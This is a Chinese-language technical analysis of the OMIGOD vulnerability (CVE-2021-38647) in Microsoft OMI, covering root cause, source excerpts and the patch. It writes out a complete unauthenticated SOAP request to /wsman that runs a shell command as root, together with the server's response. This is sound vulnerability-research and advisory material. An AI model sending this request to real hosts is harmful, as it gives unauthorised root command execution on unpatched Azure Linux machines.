基本情况
微软在2021年9月的补丁更新中,修复了其Open Management Infrastructure (OMI) 中的多个漏洞,其中最为严重一个是远程代码执行漏洞,编号为CVE-2021-38647,也被称为OMIGOD,该漏洞影响OMI 1.6.8.0及以下版本。该漏洞能够在未授权情况下,远程以root权限执行任意命令,影响范围较大,CVSS评分9.8,建议存在漏洞版本尽快升级OMI版本。
OMI介绍
OMI是微软开发并开源的远程配置管理工具,其主体使用C语言编写,主要用于UNIX/Linux系统上,类是与Windows系统的WMI,它允许用户远程管理配置并收集统计数据。OMI的抽象和易用特征,使得它在Azure中被广泛应用。在Azure Linux服务器上,OMI Agent通常用于支持以下功能和服务:
- Azure Automation
- Azure Automatic Update
- Azure Operations Management Suite
- Azure Log Analytics
- Azure Configuration Management
- Azure Diagnostics
- Azure Container Insights
在OMI独立安装、Azure Configuration Management或System Center Operations Manager (SCOM)默认配置情况下,OMI的进程omiengine以root用户身份运行,并且默认会开启端 (通常为5986/5985/1270) 监听来至任意地址的连接。如下图所示:
这种配置正常情况下,用户认证之后,通过OMI可以远程管理配置Azure环境。
漏洞分析
漏洞成因
正常情况下,用户可以使用omicli连接远程服务端执行命令,例如可以执行查看id的命令:
/opt/omi/bin/omicli --hostname xx.xx.xx.xx -u xxxx -p xxxx iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }
则口令正确的情况下返回为:
instance of ExecuteShellCommand
{
ReturnValue=true
ReturnCode=0
StdOut=uid=1000(xxxx) gid=1000(xxxx) groups=1000(xxxx),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
StdErr=
}
对应的数据包为:
HTTP/1.1 200 OK
Content-Length: 1415
Connection: Keep-Alive
Content-Type: application/soap+xml;charset=UTF-8
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Header>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
<wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</wsa:Action>
<wsa:MessageID>uuid:6E73E6A0-C38A-0005-0000-000000020000</wsa:MessageID>
<wsa:RelatesTo>uuid:0AB58087-C2C3-0005-0000-000000010000</wsa:RelatesTo>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:ReturnValue>TRUE</p:ReturnValue>
<p:ReturnCode>0</p:ReturnCode>
<p:StdOut>uid=1000(xxxx) gid=1000(xxxx) groups=1000(xxxx),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)</p:StdOut>
<p:StdErr />
</p:SCX_OperatingSystem_OUTPUT>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
当口令错误的情况下返回的数据包如下:
HTTP/1.1 401 Unauthorized
Content-Length: 0
WWW-Authenticate: Basic realm="WSMAN"
WWW-Authenticate: Negotiate
WWW-Authenticate: Kerberos
但是如果在发送执行命令请求数据包时,不带Authorization头,发送数据包如下:
POST /wsman HTTP/1.1
Connection: Keep-Alive
Content-Length: 1505
Content-Type: application/soap+xml;charset=UTF-8
Host: xx.xx.xx.xx:5986
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
<s:Header>
<a:To>HTTP://xx.xx.xx.xx:5986/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
<w:OptionSet s:mustUnderstand="true" />
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
此时返回值为:
HTTP/1.1 200 OK
Content-Length: 1415
Connection: Keep-Alive
Content-Type: application/soap+xml;charset=UTF-8
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Header>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
<wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</wsa:Action>
<wsa:MessageID>uuid:6E73E6A0-C38A-0005-0000-000000030000</wsa:MessageID>
<wsa:RelatesTo>uuid:0AB58087-C2C3-0005-0000-000000010000</wsa:RelatesTo>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:ReturnValue>TRUE</p:ReturnValue>
<p:ReturnCode>0</p:ReturnCode>
<p:StdOut>uid=0(root) gid=0(root) groups=0(root)</p:StdOut>
<p:StdErr />
</p:SCX_OperatingSystem_OUTPUT>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
是不是非常的神奇,此时就出现了未认证情况下的远程代码执行情况,而且是以root用户权限的命令执行。
为什么会出现这个情况? 对照源代码进行分析,首先用户进行远程连接时,首先会进入http.c文件中的_ListenerCallback函数进行处理,该该函数为登录用户创建一个Http_Listener_SocketData并进行初始化,如下:
static MI_Boolean _ListenerCallback(
Selector* sel,
Handler* handler_,
MI_Uint32 mask,
MI_Uint64 currentTimeUsec)
{
Http_Listener_SocketData* handler = (Http_Listener_SocketData*)handler_; //创建Http_Listener_SocketData
Http* self = (Http*)handler->base.data;
MI_Result r;
Sock s;
Addr addr;
Http_SR_SocketData* h;
MI_UNUSED(sel);
MI_UNUSED(mask);
MI_UNUSED(currentTimeUsec);
if (mask & SELECTOR_READ)
{
/* Accept the incoming connection */
r = Sock_Accept(handler->base.sock, &s, &addr);
if (MI_RESULT_WOULD_BLOCK == r)
return MI_TRUE;
if (r != MI_RESULT_OK)
{
trace_SockAccept_Failed(ENGINE_TYPE, Sock_GetLastError());
return MI_TRUE;
}
r = Sock_SetBlocking(s, MI_FALSE);
if (r != MI_RESULT_OK)
{
trace_SockSetBlocking_Failed(ENGINE_TYPE);
HttpAuth_Close(handler_);
Sock_Close(s);
return MI_TRUE;
}
/* Create handler */
h = (Http_SR_SocketData*)Strand_New( STRAND_DEBUG( HttpSocket ) &_HttpSocket_FT, sizeof(Http_SR_SocketData), STRAND_FLAG_ENTERSTRAND, NULL );
if (!h)
{
trace_SocketClose_Http_SR_SocketDataAllocFailed();
HttpAuth_Close(handler_);
Sock_Close(s);
return MI_TRUE;
}
/* Primary refount -- secondary one is for posting to protocol thread safely */
h->refcount = 1; //初始化Http_Listener_SocketData
h->http = self;
h->pAuthContext = NULL;
h->pVerifierCred = NULL;
h->isAuthorised = FALSE;
h->authFailed = FALSE;
h->encryptedTransaction = FALSE;
h->pSendAuthHeader = NULL;
h->sendAuthHeaderLen = 0;
--------
}
}
可以发现此时初始化将isAuthorised设为FALSE,并且未初始化authInfo.uid和authInfo.gid。
接着_ListenerCallback函数调用到_ReadData函数,该函数用于接收输入的数据并且进行处理,下面重点分析_ReadData函数的处理逻辑:
static Http_CallbackResult _ReadData(
Http_SR_SocketData* handler)
{
char* buf;
size_t buf_size, received;
MI_Result r;
/* are we in the right state? */
if (handler->recvingState != RECV_STATE_CONTENT)
return PRT_RETURN_FALSE;
buf = ((char*)(handler->recvPage + 1)) + handler->receivedSize;
buf_size = handler->recvHeaders.contentLength - handler->receivedSize;
received = 0;
if (buf_size)
{
r = _Sock_Read(handler, buf, buf_size, &received);
if ( r == MI_RESULT_OK && 0 == received )
return PRT_RETURN_FALSE; /* conection closed */
if ( r != MI_RESULT_OK && r != MI_RESULT_WOULD_BLOCK )
return PRT_RETURN_FALSE;
handler->receivedSize += received;
}
/* did we get all data? */
if ( handler->receivedSize != handler->recvHeaders.contentLength )
return PRT_RETURN_TRUE;
/* If we are authorised, but the client is sending an auth header, then
* we need to tear down all of the auth state and authorise again.
* NeedsReauthorization does the teardown
*/
if(handler->recvHeaders.authorization) // (1) 判断是否收到authorization
{
Http_CallbackResult authorized;
handler->requestIsBeingProcessed = MI_TRUE;
if (handler->isAuthorised)
{
Deauthorize(handler);
}
authorized = IsClientAuthorized(handler);
if (PRT_RETURN_FALSE == authorized)
{
goto Done;
}
else if (PRT_CONTINUE == authorized)
{
return PRT_CONTINUE;
}
}
else
{
/* Once we are unauthorised we remain unauthorised until the client
starts the auth process again */
if (handler->authFailed) // (2) authFailed判断
{
handler->httpErrorCode = HTTP_ERROR_CODE_UNAUTHORIZED;
return PRT_RETURN_FALSE;
}
}
r = Process_Authorized_Message(handler); // (3) Message处理
if (MI_RESULT_OK != r)
{
return PRT_RETURN_FALSE;
}
Done:
handler->recvPage = 0;
handler->receivedSize = 0;
memset(&handler->recvHeaders, 0, sizeof(handler->recvHeaders));
handler->recvingState = RECV_STATE_HEADER;
return PRT_CONTINUE;
}
由上面代码可以发现,当发送数据包不带Authorization字段时,函数处理会进入else处理部分,会判断authFailed,由于authFailed为FALSE,则会跳出执行到Process_Authorized_Message函数,则就会出现未认证的情况下执行命令的情况,由于此时是在OMI进程中,因此会以root用户权限执行。
到此,我们即发现了漏洞的成因,该漏洞是在逻辑设计的过程中,对认证过程校验不严格导致的。
漏洞补丁
通过漏洞成因分析,我们可以发现,漏洞出现的原因主要是在http.c文件中的_ListenerCallback和_ReadData函数中,因此漏洞修复也主要是在这两个函数中进行。通过对比OMI源码发现:
_ListenerCallback函数在初始化部分进行修复,将authInfo.uid和authInfo.gid初始化为INVALID_ID,如下面代码所示:
static MI_Boolean _ListenerCallback(
Selector* sel,
Handler* handler_,
MI_Uint32 mask,
MI_Uint64 currentTimeUsec)
{
--------
/* Primary refount -- secondary one is for posting to protocol thread safely */
h->refcount = 1;
h->http = self;
h->pAuthContext = NULL;
h->pVerifierCred = NULL;
h->isAuthorised = FALSE;
h->authFailed = FALSE;
h->encryptedTransaction = FALSE;
h->pSendAuthHeader = NULL;
h->sendAuthHeaderLen = 0;
h->authInfo.uid= INVALID_ID; //补丁修复部分
h->authInfo.gid= INVALID_ID; //补丁修复部分
--------
return MI_TRUE;
}
修复前后代码对比如下图:
_ReadData函数修复主要是在函数Process_Authorized_Message执行之前,加入isAuthorised的判断,如下面代码:
static Http_CallbackResult _ReadData(
Http_SR_SocketData* handler)
{
if (handler->isAuthorised)
{
r = Process_Authorized_Message(handler);
if (MI_RESULT_OK != r)
{
return PRT_RETURN_FALSE;
}
}
------
}
修复前后代码对比如下图:
总结建议
该漏洞是一个认证逻辑上存在缺陷导致的远程代码执行漏洞,漏洞影响范围较大,且利用前置条件简单,建议立即更新受此漏洞影响的Azure产品,或者手动操作以确保OMI版本升级到最新版本。
- Debian系统(例如Ubuntu):dpkg -l omi
- RedHat系统(例如Fedora,CentOS, RHEL):rpm -qa omi
参考资料
1.https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
2.https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/